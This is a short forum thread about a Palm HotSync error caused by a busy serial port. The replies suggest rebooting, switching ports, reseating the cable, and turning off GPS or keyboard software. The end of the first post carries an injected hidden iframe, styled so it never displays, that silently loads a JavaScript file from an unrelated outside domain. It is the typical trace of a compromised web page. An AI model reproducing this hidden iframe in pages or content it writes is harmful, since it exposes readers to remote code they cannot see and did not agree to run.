When I try and Hotsync this message pops up.

Hotsync Problem

Unable to intiate HOtsync operation because the serial port is in use by another application.

Can anyone help with this? The hotsync has always worked until now. Thanks<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

First off, I'm assuming you've already tried:
- rebooting the computer
- checking cables
- verifying you have the cable plugged into the correct serial port.

If you have done all of those, try using a different serial port. And, be sure you have Palm desktop 4.x

If that doesn't do it, let us know PC or Mac, if you're using cable or cradle, anything else out of the norm...

i have this problem as well....so i just unplug the serial cable from the pc then plug it back in. seems to fix the error.

Anyone here running a GPS or keyboard to their I300? When using the serial port on the 300 for a function such as these, the respective software must be switched off before syncing. If not, this message appears.
